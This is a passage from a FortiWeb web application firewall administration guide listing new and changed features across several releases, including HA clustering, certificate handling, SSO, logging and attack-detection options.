Configure a site publish rule so that FortiWeb will use a SAML server to handle client authentication for web browser single sign-on (SSO). SAML is an open standard for exchanging authentication and authorization data between parties, and is often used for exchanging such data between an identity provider and a service provider.

See ["Configuring a Security Assertion Markup Language \(SAML\) server"](#) on page 354 and ["Offloaded authentication and optional SSO configuration"](#) on page 367.

FortiGuard Distribution Server (FDS) proxy

Configure FortiWeb to act as a TCP proxy for FDS. Doing this will establish a single connection with the FDS and help other FortiWebs in the network validate licenses, update signatures, and update the FortiGuard services.

See ["Accessing FortiGuard via a proxy"](#) on page 191.

High Availability (HA) failover enhancement

When there is a failover in an HA IPv6 environment, the new master will send Neighbor Solicitation (NS) packets to notify the network that there is a new master and to redirect web traffic. This process is similar to a failover in an HA IPv4 environment in which the new master sends ARP packets to notify the network that there is a new master and to redirect web traffic.

See ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

HA Reserve Management Port enhancement

FortiWeb supports policy routes on the reserve management interface, allowing administrative access to the interface from anywhere, not just the same subnet. To do so, modify the gateway IP address for the reserve management port.

See ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

Configuration Synchronization enhancements

ADOM—FortiWeb supports ADOMs when you enable Configuration Synchronization.

Auto-Sync—You can schedule FortiWeb to automatically synchronize the configuration(s).

See ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149

Track users via client certificates

FortiWeb will use the client certificate to track users if a user tracking policy and site publish rule is unable to track users. Traffic and Attack logs will present the user's email address taken from the client certificate.

See "[Tracking users](#)" on page 382.

HTTP protocol constraints log enhancement

The matched patterns of HTTP protocol constraint violations are highlighted in attack logs to more clearly locate violations in packet headers.

Security templates for Exchange 2016 and SharePoint 2016

FortiWeb includes Exchange 2016 and SharePoint 2016 security templates for signatures and HTTP protocol constraint profiles.

HTTP request timeout support

Configure FortiWeb to force client sessions to timeout when clients:

- Establish a TCP connection but do not send any requests
- Send only partial HTTP headers

This helps to ensure that FortiWeb does not waste resources on idle or hanged client sessions when FortiWeb is in Reverse Proxy or True Transparent Proxy mode.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Device tracking & threat weight enhancement

You can configure these device tracking and threat weight settings:

- Threat weight cleanup periods
- Deleting inactive records
- Block durations
- Device fingerprint updates
- Database timeouts

FortiWeb will apply these settings globally.

See "[Blocking client devices with poor reputation](#)" on page 493.

IP Reputation enhancement - Tor exit nodes

Enable FortiWeb to carry out response actions for IP addresses that use the Tor anonymous proxy. FortiWeb uses FortiGuard's IP Reputation Service to determine which IP addresses are using Tor exit nodes.

See "[Blacklisting & whitelisting clients](#)" on page 484.

Internal cookie enhancement

When SSL is enabled, you can flag FortiWeb's internal cookies as `httponly` and `secure` in the response header.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Base64 and CSS decoding support

Enable FortiWeb to decode cookies and parameters in request fields using Base64 or CSS for specified URL simple strings or regular expressions. FortiWeb will first check whether a URL matches a rule. If so, FortiWeb will then check whether a parameter or cookie matches the field type and field name of the rule; if this is the case, FortiWeb will decode the parameter or cookie using the decoding method(s) you specify in the rule.

See "Advanced settings" on page 670.

Certificates enhancement

A Certificate Authority (CA) or intermediate CA no longer must contain the `CA: true` extension. You can import a self-signed certificate as a CA or intermediate CA.

Certificate Revocation List (CRL) enhancement

The maximum size of an imported CRL file has been increased from 128 KB to 4 MB.

See "Revoking certificates" on page 471.

Supported cipher suite changes

Two cipher suites have been added to the Customized list under **Server Policy > SSL Protocols**:

- 3DES_EDE_CBC_SHA
- DES-CBC3-SHA

The cipher suites support TLS 1.0, 1.1, and 1.2

Two cipher suites have been removed:

- DHE_DSS_SEED_SHA
- SEED_SHA

See "Supported cipher suites & protocol versions" on page 432.

Attack Alert Email enhancement

When FortiWeb sends attack alert emails, the source IP address of the attack is included in the message.

Logs enhancement

When FortiWeb sends logs to ArcSight, Azure Event Hub, or QRadar, the length of URLs increased from 128 bytes to 256 bytes.

Attack log enhancement

The `Sub Type` field was removed from attack logs and replaced with new `Main Type` and `Sub Type` fields. The `Main Type` field describes the signature detection category, and the `Sub Type` field describes the specific type of signature in the category. For example, a `Main Type` field for an attack may describe a `File Upload Restriction`, and the `Sub Type` field may describe a `Trojan Detection` or `Illegal File Type`.

Signature exception enhancements

Limit—The maximum number of exceptions per signature has been increased from 32 to 128.

Exception Parameter—An **Element Type** has been updated. When creating a signature exception, the `Client IP` type can now represent an IP address range rather than only a single IP address.

See "Configuring action overrides or exceptions to data leak & attack detection signatures" on page 519.

FortiWeb-VM enhancement

The boot disk file and log disk file have been merged into one disk file for these hypervisor platforms:

- KVM
- VMware vSphere Hypervisor ESX/ESXi
- Citrix XenServer
- Microsoft Hyper-V
- FWBOS1
- FWBOS2

SNMP enhancement

FortiWeb supports multiple senders and receivers on the same SNMP trap message channel.

CLI batch mode support

Batch mode allows you to execute commands in a group. If a command in the group fails or an operation cannot be completed, every command in the group can be rolled back, whether they were successful or not.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

CLI log enhancement

Enable FortiWeb to trigger an event log when a command in the CLI fails or executes incorrectly.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

FortiWeb 1000E

The LED is powered on when the appliance is rebooting or shut down. The LED is powered off when the appliance is running.

FortiWeb 5.8.3

Scanning attachments in ActiveSync and MAPI over HTTP applications

You can configure a File Security Policy to enable FortiWeb to scan attachments in applications based on ActiveSync and MAPI over HTTP protocols, such as Microsoft Exchange, Office365, and IBM Notes. If enabled,

FortiWeb will perform Trojan detection, antivirus scan, and will send the attachments to FortiSandbox for analysis. You can set response actions based on the results.

FortiWeb doesn't support scanning attachments in applications based on RPC over HTTP protocol. This protocol is also known as Outlook Anywhere and is used in Outlook 2007 and earlier versions.

See "[Limiting file uploads](#)" on page 590.

Seamless PKI integration

Users can drop FortiWeb in a PKI environment without needing to change the network or application. Enable FortiWeb to verify client certificates and resign a new certificate that is sent to the server for client requests. This feature is available when FortiWeb is in Reverse Proxy (RP) or True Transparent Proxy (TTP) mode.

See "[Seamless PKI integration](#)" on page 467.

HA enhancements

Redundant interfaces and full mesh HA—Connect two or more switches to a FortiWeb configuration. Using more than one switch eliminates a potential single point of failure in the event that a physical interface connected to one of the switches no longer functions properly. To further reduce potential single points of failure, create a full mesh topology by configuring a FortiWeb HA cluster with redundant switches.

See "[Configuring the network settings](#)" on page 162.

Virtual MAC addresses—FortiWeb's in an HA cluster are assigned virtual MAC addresses. If a failover occurs, the new primary FortiWeb's interfaces will have the same virtual MAC addresses and IP addresses as the failed primary FortiWeb. This ensures that other network equipment will properly identify the new primary unit.

See "[HA heartbeat & synchronization](#)" on page 76.

Link-failed-signal option—In an Active-Passive (AP) HA cluster, if a failover occurs, some equipment may not detect that there is a new primary FortiWeb even when gratuitous ARP packets are sent out to refresh MAC forwarding tables. In this case, you can set `link-failed-signal` to `enable` in the CLI to clear the MAC forwarding tables.

See "[Configuring a high availability \(HA\) FortiWeb cluster](#)" on page 137.

Session sync update—In an Active-Active (AA) HA cluster, if you set `session-pickup` to `enable`, FortiWeb synchronizes sessions that are kept for 30 seconds or longer.

See "[HA heartbeat & synchronization](#)" on page 76.

HTTP public key pinning (HPKP)

If HPKP is enabled, FortiWeb will insert a header into the server's response header field when handling client requests. The inserted header specifies a unique cryptographic public key that the client is directed to use to access the server. Specifying such a public key to access the server reduces the likelihood of MITM attacks with forged certificates or compromised CAs.

See "[HTTP Public Key Pinning](#)" on page 452.

Service Principal Name (SPN) wildcard delegation

If Kerberos Authentication Delegation is selected in a Site Publish Rule, you can configure FortiWeb to use a Service Principal Name Pool when you select Server Pool for the Delegation Mode.

See "[Using Kerberos authentication delegation](#)" on page 364.

Block specified file types for file uploads

You can now specify whether to block file uploads for certain file types.

See ["Limiting file uploads"](#) on page 590.

Signature Creation Wizard

Two new objects have been added to the Signature Creation Wizard: Web Application and Script Language.

See ["Blocking known attacks & data leaks"](#) on page 505.

CRL group support

In a Certificate Verification profile, you can create and select CRL groups rather than just including a single CRL.

See ["Revoking certificates"](#) on page 471.

OCSP support for SSL & SNI configurations

When FortiWeb is configured in TTP or RP mode, SSL OCSP stapling is supported for certificates in a server pool.

See ["Configuring OCSP stapling"](#) on page 473.

CA Distinguished Name certificate support

You can configure FortiWeb to publish certificates related to specified CAs.

See ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454 and ["Uploading trusted CA certificates"](#) on page 437.

Firewall support in TTP & TI mode

There is firewall configuration support when FortiWeb is in TTP or TI mode.

See ["Configure the integrated firewall"](#) on page 667.

Log format update

FortiWeb's logs do not convert = and `` into == and | , respectively. This ensures that log data remains accurate and can easily be referenced by other modules.

Headers in Client Certificate Forwarding (CCF)

If CCF is enabled, you can include custom headers in CCF subjects and certificates.

See ["Configuring a server policy"](#) on page 277 and ["Defining your web servers"](#) on page 390.

Uploading licenses

In FortiWeb-VM, you can upload a new license to replace a current license without first revoking the current license.

See ["Status dashboard"](#) on page 674.

Attack log signature exceptions

Enable Advanced Mode to further configure elements for signature exceptions in attack logs, including HTTP Method and Client IP.

See ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519.

Attack log reports

Two new report types have been added: Attack Summary and Attack Details.

SQL injection web UI update

Syntax-Based Detection (SBD) signatures provide a structure diagram to describe abstract syntax tree (AST) changes due to malicious user input.

See ["Syntax-based SQL injection detection"](#) on page 516.

AV buffer increase

The Maximum Antivirus Buffer Size for FortiWeb 3000E and 4000E platforms is increased to 350 MB.

See ["Connecting to FortiGuard services"](#) on page 187.

HTTP protocol constraint parameters

To protect against HTTP Parameter Pollution attacks, enable the Duplicate Parameter Name field in an HTTP protocol constraints profile so that FortiWeb will trigger a violation when same name parameters are used in a single request.

See ["HTTP/HTTPS protocol constraints"](#) on page 568.

FortiWeb 5.8.2

FortiWeb 5.8.2 is for bug fixes only, and does not include any new or enhanced features. For details, see the [FortiWeb 5.8.2 Release Notes](#).

FortiWeb 5.8.1

New FortiWeb platform

The 1000E platform is a replacement for the 1000D platform, providing increased throughput and better performance.

See the *FortiWeb Data Sheet*:

<https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiWeb.pdf>

FortiAnalyzer support for HA clusters

FortiAnalyzer can recognize logs from a FortiWeb High Availability (Active-Active and Active-Passive) cluster and display aggregated logs from each device in the cluster under one name. You no longer have to connect to individual cluster members to view logs from the cluster.

See ["To view log messages"](#) on page 707

VMware template support

FortiWeb-VM instances running on a VMware hypervisor can utilize VMware templates to automatically set customized settings in configurations, including the hostname, IP, gateways, DNS, etc.

See the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

Software RAID

The 1000D/1000E/2000E platforms support software RAID using the `execute create-raid level raid1` command. Once the software RAID command is executed, the configuration settings continue as normal.

See the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

FortiWeb load balancing

When the status of a physical server in a server pool is disabled, a health check indicates it is down, or it is removed from the server pool, FortiWeb will transfer any remaining HTTP transactions in the TCP stream to an active physical server in the server pool.

See ["Enabling or disabling traffic forwarding to your servers"](#) on page 429.

FortiWeb 5.8

GUI Change

New and updated GUI.

Device Tracking

This is a new approach that helps to accurately identify repeat offenders and allow tracking user behavior over time. Rather than identifying requests by their source IP, a problematic approach as attackers can use anonymous proxies or NAT devices, FortiWeb can identify the device itself regardless of its actual location and IP.

See ["Blocking client devices with poor reputation"](#) on page 493.

Threat Weight

Each protection feature can be scored with a threat weight to indicate how serious a security violation is. When a security violation is detected, the threat weight of the security violation is used to calculate the reputation of the device that launched the event.

See ["Blocking client devices with poor reputation"](#) on page 493.

Device Reputation Security Policy

Device reputation security policies use Device Tracking and Threat Weight to determine the risk level of devices so that FortiWeb can carry out violation actions according to the risk level of devices defined in a device reputation security policy.

See ["Blocking client devices with poor reputation"](#) on page 493.

OCSP Stapling

There is now support for OCSP (Online Certificate Status Protocol) stapling, an alternative approach to the OCSP in which the certificate holder periodically requests the revocation status of certificates of servers from OCSP servers and attaches the time-stamped response to the initial SSL/TLS handshake between clients and servers. This transfers the resource burden of checking the revocation status of certificates from the client to the presenter of the certificate and reduces the total amount of queries to OCSP servers.

See ["Configuring OCSP stapling"](#) on page 473.

HTTP Header Security

FortiWeb can now ensure a safer browsing experience to website visitors by inserting the following security-related headers to HTTP responses:

- `X-Frame-Options`: prevents browsers from clickjacking attacks
- `X-XSS-Protection`: enables a browser's built-in cross-site scripting (XSS) protection
- `X-Content-Type-Options`: prevents browsers from MIME content-sniffing attacks

See ["Addressing security vulnerabilities by HTTP Security Headers"](#) on page 542.

Credential Stuffing Defense

There is now support for protection against credential stuffing attacks. When Credential Stuffing Defense is enabled, username and password credentials in a web server login attempt will be processed in the database to verify whether it is a spilled username/password pair. Using this feature requires a subscription to FortiGuard.

See ["Tracking users"](#) on page 382, ["Offloaded authentication and optional SSO configuration"](#) on page 367 and ["Connecting to FortiGuard services"](#) on page 187.

Antivirus

There is now support for FortiSandbox's Malware Signature Database.

See ["Choosing the virus signature database & decompression buffer"](#) on page 190.

Certificate

It is now possible to import certificates to FortiWeb through the CLI (only PEM format is acceptable).

See the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Active-Active HA

Session synchronization—Session table synchronization is now disabled by default. This can be enabled and disabled through the CLI.

Load balancing—FortiWeb can now set weights for HA cluster members for traffic load balancing by source IP.

HA information—After completing your HA deployment, you can check the HA topology, information, and statistics of each HA unit in the Web UI; this is similar to the `get system ha-status` command in the CLI.

FortiWeb-VM—VM slaves in a high availability active-active cluster can validate themselves.

See "Configuring a high availability (HA) FortiWeb cluster" on page 137 and the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

LDAP Server

It is now possible to configure a LDAP sever to FortiWeb using either the IP address or domain name.

See "Configuring an LDAP server" on page 346.

Site Publish

Authentication Cookie Timeout is now set in minutes.

See "Offloaded authentication and optional SSO configuration" on page 367.

Maximum Antivirus Buffer Size

The maximum acceptable value for Maximum Antivirus Buffer Size has been increased from 100 MB to 200 MB for the following platforms: FortiWeb 1000D, FortiWeb 3000D, FortiWeb 4000D and FortiWeb E series.

See "Connecting to FortiGuard services" on page 187.

Maximum Body Cache Size

The maximum acceptable value for the Maximum Body Cache Size has been increased from 1024 KB to 4096 KB.

See "Maximum Body Cache Size" on page 672.

VLAN

There is now support for a maximum of 512 VLAN subinterfaces.

See "Adding VLAN subinterfaces" on page 167.

Logs

There is now a log to record file submissions to FortiSandbox. This log is disabled by default and can be enabled through the CLI.

See "Limiting file uploads" on page 590 and the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Log Email Policy

It is now possible to set a company name and logo in an email policy.

See "[Configuring email settings](#)" on page 712.

Signature Policy

Threat scoring has been removed. This feature has been replaced by Device Reputation Security Policies and the Threat Weight feature.

RESTful API

The RESTful API now supports each ADOM.

See "[Generate protection profiles using a scanner report](#)" on page 247

LACP Support

There is now support for turning aggregated physical ports into bridges (V-zones).

See "[Configuring the network settings](#)" on page 162.

XFF Client IP Support

XFF Client IPs are now supported across all features.

See "[Defining your proxies, clients, & X-headers](#)" on page 421.

VM License

There is a new command to revoke a FortiWeb-VM license in the CLI.

See the *CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

VMware ESXi

Virtual serial ports are now supported for FortiWeb-VM running on VMware ESXi.

FortiWeb 5.7.1

Syslog over TLS

Support Transport Layer Security (TLS) to provide a secure connection for transferring syslog messages to a remote server.

See "[Configuring Syslog settings](#)" on page 700.

FortiWeb 5.7

HTTP/2 Support

FortiWeb now supports HTTP/2 web communication. FortiWeb supports end to end HTTP/2 and also conversion protocols between HTTP/2 clients and HTTP/1.1 back-end servers thus allowing customers to enjoy HTTP/2 benefits without having to upgrade their back web servers. FortiWeb also provides native HTTP/2 security (admin guide lists which security rules support HTTP/2 traffic). HTTP/2 is supported in Reverse Proxy and/or True Transparent Proxy mode.

See "[HTTP/2 support](#)" on page 69.

A new method to detect SQL Injection attacks

Using Lexical analysis with a SQL parser, SQL templates, and Abstract Syntax Trees, FortiWeb can verify whether requests are true SQL Injection attacks. This virtually eliminates SQL Injection false positives and false negatives.

See "[SQL Injection](#)" on page 509.

URL Rewriting

Specified fields and values can be inserted to HTTP headers of requests by URL Rewriting.

See "[Rewriting & redirecting](#)" on page 622.

QRadar SIEM

FortiWeb's log messages can be sent in QRadar Log Event Extended Format (LEEF) to IBM QRadar servers.

See "[Configuring SIEM policies](#)" on page 703.

Active-Active High Availability

Multiple FortiWebs (up to eight units) can be deployed as an Active-Active HA cluster in Reverse Proxy or True Transparent Proxy modes. The master unit in the cluster can distribute incoming traffic over other cluster members (including itself) according to the specified load balancing algorithm: packet source IP, least number of processing connections or round-robin.

See "[Configuring a high availability \(HA\) FortiWeb cluster](#)" on page 137.

Packet Capture

Packet capture now can be executed through FortiWeb's Web UI. Packet capture intercepts the data packets that are passing through FortiWeb and stores them as a file for reference.

See "[Packet capture via Web UI](#)" on page 785.

Scanner Integration

Scanner reports—You can now retrieve a scanner report on FortiWeb from the Telefónica Faast portal through RESTful API, without downloading the report file manually from Telefónica Faast and uploading it to FortiWeb in advance.

Vulnerabilities—Scanner Integration lists vulnerabilities of an imported scan report in the original order as they are listed in the scan report.

See ["Generate protection profiles using a scanner report"](#) on page 247.

SSL/TLS Cipher Suits

The following cipher suits are no longer supported by FortiWeb's high/medium-level SSL/TLS encryption:

- ECDHE-RSA-DES-CBC3-SHA
- EDH-RSA-DES-CBC3-SHA
- DES-CBC3-SHA

See ["Supported cipher suites & protocol versions"](#) on page 432.

HTTP Protocol Constraints

Seventeen new HTTP protocol constraints are added. Eight of them are added to govern the specific HTTP/2 header fields, they are:

- Illegal Connection Preface
- Illegal Frame Type
- Illegal Frame Flags
- Initial Window Size
- Header Compression Table Size
- Header List Size
- Frame Size
- Number of Concurrent Streams

The others are as following:

- Redundant HTTP Headers
- Maximum URL Parameter Name Length
- Maximum URL Parameter Value Length
- Illegal Character in Parameter Name
- Illegal Character in Parameter Value
- NULL Character in URL
- Illegal Character in URL
- Malformed URL
- Illegal Chunk Size

In addition, in the Web UI page of HTTP Protocol Constraints, a new table column named HTTP Protocol Support is introduced to indicate the HTTP version that a constraint can be applied to.

See ["Supported cipher suites & protocol versions"](#) on page 432.

HTTP Constraint Exceptions

Constraint exceptions are added correspondingly for the five new HTTP constraints:

- Redundant HTTP Headers
- Maximum URL Parameter Name Length

- Maximum URL Parameter Value Length
- Illegal Character in Parameter Name
- Illegal Character in Parameter Value

HTTP constraint exceptions can be applied to the packets with specified source IP addresses.

See "[Configuring HTTP protocol constraint exceptions](#)" on page 577.

Attack/Traffic Logs

A new field HTTP Version is added to indicate the protocol that a log is associated with.

See "[Viewing log messages](#)" on page 706.

Site Publishing

Site publishing supports Android clients to access to Microsoft Exchange servers through Exchange ActiveSync. Note that while a site publishing rule is configured for Exchange ActiveSync, single sign-on, authentication cookie and Kerberos authentication are not available, and HTTP Basic Authentication is the only method to authenticate the clients.

See "[Exchange ActiveSync](#)" on page 368.

Server Name Indication (SNI)

SNI can match domains to certificates using either simple string or regular expression.

See "[Allowing FortiWeb to support multiple server certificates](#)" on page 450.

Certificates

ECDSA certificates—Support ECDSA certificate for offloading and inspecting HTTPs, authenticating other devices' certificates and administrators' Web UI login.

Replace certificates—Support the ability to replace the certificate that FortiWeb uses for secure accesses (HTTPS) to its management interface.

Authentication—Support Certificate-based authentication for FortiWeb's Web UI login.

See "[Certificate-based Web UI login](#)" on page 337 and "[How to change FortiWeb's default certificate](#)" on page 472.

Buffer size for parsing multipart/form-data requests

The buffer size used for parsing requests whose content-types are multipart/form-data can be increased through setting `max-multipart-buffsize-per-arg` in CLI command `config system advanced`.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

GEO IP

Geo IP database—A dedicated database is added to enhance FortiWeb's GEO IP for identifying more exact locations of IPv6 addresses.

Uploading the geo IP database—It is no longer required to periodically manually upload the GEO IP database. FortiWeb automatically and transparently updates the database from the FortiGuard Distribution Servers. The interface to manually upload the database is kept for those deployments that do not have an Internet connection.

Custom Signature

A new action "Erase, no Alert" is added (in the response direction) for FortiWeb to react when information disclosure is detected.

See "Defining custom data leak & attack signatures" on page 525.

Cookie Security

Configuration of Cookie Replay for a cookie security policy is available only if Security Mode is selected as Encrypted.

See "Protecting against cookie poisoning and other cookie-based attacks" on page 501.

Network

IPv6 addressing through DHCP is supported on FortiWeb's physical network interfaces, VLAN subnetwork interface and link aggregation interfaces.

See "Configuring the network interfaces" on page 164 and "Link aggregation" on page 174.

FortiWeb 5.6 Patch 1

New FortiWeb platform

The FortiWeb 2000E has been introduced.

See the *FortiWeb Data Sheet*:

<https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiWeb.pdf>

Logging

From this release, FortiWeb's Attack Log and Traffic Log contains the field `Referer` of HTTP requests.

See "Viewing a single log message as a table" on page 708.

URL Rewriting

URL Rewrite supports RSS XML content type. `application/rss+xml` becomes one of the options in Content Type Set for creating an URL Rewriting Rule to rewrite the body of the HTTP requests.

See "Rewriting & redirecting" on page 622.

Policy Routing

To support one-arm network deployments for FortiWeb's Policy Routing, configuring a policy route rule without specifying the gateway is allowed.

See "Creating a policy route" on page 182.

Config-Synchronization

From this release, FortiWeb will not synchronize configurations of FTP backup (System > Maintenance > FTP backup) and SNMP (System > Config > SNMP) to the peer while performing full Config-Synchronization.

See "[Replicating the configuration without FortiWeb HA \(external HA\)](#)" on page 149.

System Time

FortiWeb's system time data was updated for the announce that Turkey no longer observe Daylight Saving Time (DST).

SSL

The OpenSSL employed by FortiWeb was upgraded to 1.0.2j.

FortiWeb 5.6

New FortiWeb platform

The FortiWeb 600D has been introduced.

See the *FortiWeb Data Sheet*:

<https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiWeb.pdf>

Enhanced cookie security

The cookie poisoning settings are now part of the new cookie security policy, which allows you to configure additional ways to prevent cookie-based attacks. For example, you can encrypt the cookies issued by a back-end server or add security attributes to them.

See "[Protecting against cookie poisoning and other cookie-based attacks](#)" on page 501.

Logging

Log filter—You now search logs in the web UI by adding a filter that matches messages found in the most recent 100,000 messages in the attack, event, or traffic log. You can specify one or more values to match, including the action, severity level, or message. (When searching by date and time, all messages with the selected date are displayed.)

Log file size—The log file no longer has a maximum size. Each log file can contain approximately 50,000 log records.

Improved hard disk log storage—Logging enhancements have improved performance when FortiWeb logs messages to the local hard disk. Recording traffic and event log messages in the local random access memory (RAM) of the FortiWeb appliance is no longer supported.

See "[Logging](#)" on page 690.

Site Publishing

Multiple authentication servers—Site publishing rules now authenticate clients using a member of a pool of authentication servers. The pool can contain LDAP servers, RADIUS servers, or both.

See ["Adding servers to an authentication server pool"](#) on page 355.

User lock out —You can define an account lockout policy to prevent account cracking by locking an account out after several failures logging into FortiWeb.

See ["Offloaded authentication and optional SSO configuration"](#) on page 367.

Integrated stateful firewall

The new system firewall settings allow you to add basic stateful firewall functionality to your FortiWeb appliance.

See ["Configure the integrated firewall"](#) on page 667.

FortiWeb Manager administrative access

You now configure access to a FortiWeb appliance from FortiWeb Manager using a specific FortiWeb Manager administrative access setting. (Access by FortiWeb Manager via HTTPS administrative access is no longer supported.)

See ["Configuring the network settings"](#) on page 162.

Data capture using DPDK

For models 3000E, 3010E and 4000E, when the operation mode is Offline Protection, the network interfaces assigned as data capture ports now use Data Plane Development Kit (DPDK) for packet processing.

See ["Configuring a server policy"](#) on page 277 and ["Adding VLAN subinterfaces"](#) on page 167.

Optional compression for alert emails

You are allowed to determine whether to apply compression to an alert email policy. With the compression function being enabled, event logs and alerts will be attached to the emails in ZIP format, otherwise they will be attached in TXT format.

See ["Alert email"](#) on page 712.

FortiWeb-VM

The following FortiWeb-VM enhancements have been introduced:

Microsoft Azure integration

FortiWeb-VM deployed on Azure can be integrated with Azure Security Center by sending FortiWeb's log messages, security and health alerts to Azure Event Hubs.

See ["Logging"](#) on page 690 and the *FortiWeb-VM for Azure Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

KVM ttyS0 console support

You can now configure a FortiWeb-VM instance you deploy on KVM with the console `"/dev/ttyS0"` in addition to the console `"/dev/console"`.

See the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

FortiWeb 5.5 Patch 4

User tracking

The new user tracking feature allows you to track sessions by user and capture a username to reference in traffic and attack log messages. You can also use this feature to prevent a session fixation attack and set a period of time during which FortiWeb blocks requests with a session ID from a timed-out session.

See ["Tracking users"](#) on page 382.

JSON protocol detection

You can now configure inline and Offline Protection profiles to scan for matches with attack and data leak signatures in JSON data submitted by clients in HTTP requests with `Content-Type:` values `application/json` or `text/json`.

See ["Configuring a protection profile for inline topologies"](#) on page 261 and ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

WebSocket HTTP protocol constraint

You can now configure an HTTP protocol constraint to detect and take action against traffic that uses the WebSocket TCP-based protocol. (By default, FortiWeb allows WebSocket traffic to pass through.)

See ["HTTP/HTTPS protocol constraints"](#) on page 568.

Check uploaded files for Trojans

You can now configure a file upload restriction policy to scan uploaded files for Trojans.

See ["Limiting file uploads"](#) on page 590.

Reverse Proxy: connect to back-end server using client IP

By default, when the operation mode is Reverse Proxy, the source IP for connections between FortiWeb and back-end servers is the address of a FortiWeb network interface. You can configure FortiWeb to use the source IP address of the client that originated the request when it connects to a back-end server on behalf of that client.

See ["Configuring a server policy"](#) on page 277.

Custom rule filters

IP address range—You can now specify the IP address to match in an advanced access custom rule using a range of addresses.

User Name—You can now specify a user name to match in an advanced access custom rule.

See ["Combination access control & rate limiting"](#) on page 480.

HTTP content routing policies can match X509 certificate extension field content

The HTTP content routing policy settings that match X509 certificate content now allow you to match values found in either in the client certificate's extension field or subject field.

See ["Routing based on HTTP content"](#) on page 408.

Token-based CSRF protection

You can now specify web pages that FortiWeb protects from CSRF attacks. To enable the feature, you specify both the web pages to protect and the URLs found in requests that the web page generates.

See "Defeating cross-site request forgery (CSRF) attacks" on page 538.

Real Time Monitor widget enhancements

The Real Time Monitor widget on the Status dashboard has new graphics and provides the option to view a specific attack type in the Attack Event History.

CLI commands

Session clean up command—The new command `execute session-cleanup` allows you to immediately clean up all sessions.

Configure when FortiWeb clears the hash table entry for a FortiSandbox suspicious file—The `config system fortisandbox` command now allows you to set how long FortiWeb waits before it clears the hash table entry for an uploaded file that was evaluated by FortiSandbox.

True Transparent Proxy: Replace source MAC address—When the operation mode is True Transparent Proxy, by default, traffic to the back-end servers preserves the MAC address of the source. The `config system v-zone` command now allows you to configure FortiWeb to use the MAC address of the FortiWeb network interface instead.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Deploy FortiWeb-VM on OpenStack

You can now use the KVM version of the FortiWeb-VM software to deploy a virtual appliance on the OpenStack cloud computing platform using Cloud Init.

See the *FortiWeb-VM Install Guide*:

<http://docs.fortinet.com/fortiweb/hardware>

FortiWeb 5.5 Patch 3

New FortiWeb platforms

The FortiWeb 3010E and 4000E models have been introduced.

They come with two 10-Gigabit Ethernet port pairs that are wired for bypass/ fail-open.

See the *FortiWeb Data Sheet*:

<https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiWeb.pdf>

FortiSandbox Cloud support

You can now configure FortiWeb to upload files to FortiSandbox Cloud for evaluation (requires FortiWeb FortiGuard Sandbox Cloud Service subscription).

See ["Using FortiSandbox to evaluate uploaded files"](#) on page 590.

HA support

Independent management interfaces for HA cluster members—You can now specify a network interface that provides administrative access to an appliance when it is a member of an HA cluster. This interface allows you to directly manage a cluster member and gives it a unique identity on your network.

See ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

Access an HA cluster member configuration from another member—You can now use the CLI command `execute ha manage` to log into another appliance in the same HA group via the HA link.

See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

HA synchronization via TCP—FortiWeb now uses unicast TCP to synchronize the configuration between HA cluster members.

See ["HA heartbeat & synchronization"](#) on page 76.

Advanced SSL settings for server pool members

When the operation mode is Reverse Proxy, you can now select which versions of SSL and TLS and which cipher suites are supported for connections between FortiWeb and an individual server pool member. For True Transparent Proxy and WCCP modes, these settings now apply to connections between FortiWeb and the server pool member as well as SSL/TLS offloading.

See ["Creating a server pool"](#) on page 397.

Increase file upload size to 100MB

The maximum size you can specify for a file upload limit is now 102400 kilobytes. This is also the new maximum size of **Maximum Antivirus Buffer Size**, which is the buffer that FortiWeb uses to temporarily undo the compression that a client or web server has applied to traffic in order to inspect or modify it.

See ["Limiting file uploads"](#) on page 590 and ["Connecting to FortiGuard services"](#) on page 187.

Increase maximum number of IP addresses that Period Block can block

FortiWeb can now temporarily block up to 10,000 client IP addresses at a time. These are addresses FortiWeb blocks because the client violated a rule whose Action is **Period Block**.

See ["Monitoring currently blocked IPs"](#) on page 735.

Web scanner integration

Telefónica Faast integration—The web scanner integration framework now allows you to import scan results from Telefónica Faast.

Retrieve WhiteHat scanner report via RESTful API—You can now retrieve a scanner report from the WhiteHat portal using the RESTful API instead of downloading manually from the WhiteHat site and then uploading it to FortiWeb.

See ["Generate protection profiles using a scanner report"](#) on page 247.

Column settings and filters

For information that the web UI displays in columns, new settings allow you to select the columns to display or remove any column filters you have added. Many columns also now allow you to click the filter icon to filter the column by specifying a string.

Use interface IP address for virtual server address

You can now configure a virtual server to use the IP address of the specified network interface. This is useful for Microsoft Azure and AWS deployments where FortiWeb communicates with the Internet using a cloud-based load balancer.

Support for more server pools

For some models, the total number of server pools that an individual appliance can support has increased.

See ["Appendix B: Maximum configuration values"](#) on page 817.

Hostname as Radius NAS Identifier

